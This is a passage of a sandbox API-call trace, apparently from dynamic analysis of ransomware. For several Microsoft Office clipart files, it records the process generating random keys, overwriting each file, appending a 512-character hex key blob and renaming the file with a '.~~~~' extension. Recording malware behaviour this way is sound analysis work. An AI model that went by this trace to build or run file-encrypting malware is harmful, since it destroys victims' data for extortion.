	[0089.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.962] GetLastError () returned 0x0
	[0089.962] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.963] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.963] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.963] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20995319019) returned 1
	[0089.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f66ab90, dwHighDateTime=0x1d60e1e)) 
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fd30
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fd30 | out: hHeap=0x300000) returned 1
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0089.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0089.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e918
	[0089.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.964] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.964] GetLastError () returned 0x0
	[0089.964] GetLastError () returned 0x0
	[0089.964] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.964] GetLastError () returned 0x0
	[0089.964] GetLastError () returned 0x0
	[0089.966] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe988, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.966] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1678, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1678, lpOverlapped=0x0) returned 1
	[0089.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.966] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.966] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.966] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.966] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.966] CloseHandle (hObject=0x11c) returned 1
	[0089.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acc50
	[0089.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.~~~~")) returned 1
	[0089.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0089.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.967] GetLastError () returned 0x0
	[0089.967] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.968] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.968] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.968] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20995859236) returned 1
	[0089.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f66ab90, dwHighDateTime=0x1d60e1e)) 
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fd68
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fd68 | out: hHeap=0x300000) returned 1
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0089.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acc50
	[0089.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0089.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e9b0
	[0089.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0089.969] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.969] GetLastError () returned 0x0
	[0089.969] GetLastError () returned 0x0
	[0089.969] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.969] GetLastError () returned 0x0
	[0089.969] GetLastError () returned 0x0
	[0090.027] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff5ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.027] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa54, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xa54, lpOverlapped=0x0) returned 1
	[0090.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.028] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.028] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.028] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.028] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.028] CloseHandle (hObject=0x11c) returned 1
	[0090.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.028] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.~~~~")) returned 1
	[0090.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.029] GetLastError () returned 0x0
	[0090.030] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.030] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.030] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.031] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21002063934) returned 1
	[0090.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f703110, dwHighDateTime=0x1d60e1e)) 
	[0090.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2020
	[0090.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2020 | out: hHeap=0x300000) returned 1
	[0090.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0090.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.040] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.041] GetLastError () returned 0x0
	[0090.041] GetLastError () returned 0x0
	[0090.041] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.041] GetLastError () returned 0x0
	[0090.041] GetLastError () returned 0x0
	[0090.050] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffda8a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.050] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2576, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x2576, lpOverlapped=0x0) returned 1
	[0090.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.052] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.052] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.053] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.053] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.053] CloseHandle (hObject=0x11c) returned 1
	[0090.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acc50
	[0090.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.~~~~")) returned 1
	[0090.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0090.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.053] GetLastError () returned 0x0
	[0090.054] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.055] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.055] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.055] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21004484302) returned 1
	[0090.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f74f3d0, dwHighDateTime=0x1d60e1e)) 
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fe80
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fe80 | out: hHeap=0x300000) returned 1
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0090.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acc50
	[0090.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0090.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eae0
	[0090.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0090.055] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.055] GetLastError () returned 0x0
	[0090.056] GetLastError () returned 0x0
	[0090.056] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.056] GetLastError () returned 0x0
	[0090.056] GetLastError () returned 0x0
	[0090.093] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe790, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.093] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1870, lpOverlapped=0x0) returned 1
	[0090.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.095] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.095] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.095] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.095] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.096] CloseHandle (hObject=0x11c) returned 1
	[0090.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.096] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.~~~~")) returned 1
	[0090.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.097] GetLastError () returned 0x0
	[0090.097] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.098] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.098] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.098] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21008819772) returned 1
	[0090.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f79b690, dwHighDateTime=0x1d60e1e)) 
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fef0
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fef0 | out: hHeap=0x300000) returned 1
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ef08
	[0090.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.099] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.099] GetLastError () returned 0x0
	[0090.099] GetLastError () returned 0x0
	[0090.099] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.099] GetLastError () returned 0x0
	[0090.099] GetLastError () returned 0x0
	[0090.116] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff148, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.116] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xeb8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0xeb8, lpOverlapped=0x0) returned 1
	[0090.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.117] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.117] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.118] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.118] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.118] CloseHandle (hObject=0x11c) returned 1
	[0090.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28accf8
